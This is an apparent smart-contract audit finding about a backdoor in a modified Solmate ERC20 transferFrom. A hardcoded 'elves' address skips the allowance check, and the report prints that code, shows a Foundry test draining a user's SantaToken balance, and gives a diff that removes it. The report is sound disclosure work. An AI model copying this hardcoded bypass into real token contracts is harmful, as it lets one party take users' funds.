Summary
The ERC20:transferFrom function in the Solmate library has been modified with an additional checks for a specific address. When the specified condition is met, the function proceeds to transfer all tokens to the msg.sender. Notably, the designated address in question is the elves address (0x815F577F1c1bcE213c012f166744937C889DAF17). Consequently, if an elves invokes the ERC20:transferFrom function on the SantaToken, it results in unauthorized fund transfers from the user to the elves, effectively pilfering funds from unsuspecting users.
Vulnerability Details
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
@> }
@> emit Transfer(from, to, amount);
@> return true;
@> }
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Impact
function testElvesCanStealFunds() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
vm.startPrank(elf);
console.log("Elf SantaToken balance before", santaToken.balanceOf(elf));
console.log("User SantaToken balance before", santaToken.balanceOf(user));
santaToken.transferFrom(user, elf, 1e18);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santaToken.balanceOf(elf), 1e18);
console.log("Elf SantaToken balance after", santaToken.balanceOf(elf));
console.log("User SantaToken balance after", santaToken.balanceOf(user));
}
Logs:
Elf SantaToken balance before 0
User SantaToken balance before 1000000000000000000
Elf SantaToken balance after 1000000000000000000
User SantaToken balance after 0
Tools Used
Manual review
Recommendations
Use the Solmate::ERC20:transferFrom as is in the original libreries.
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}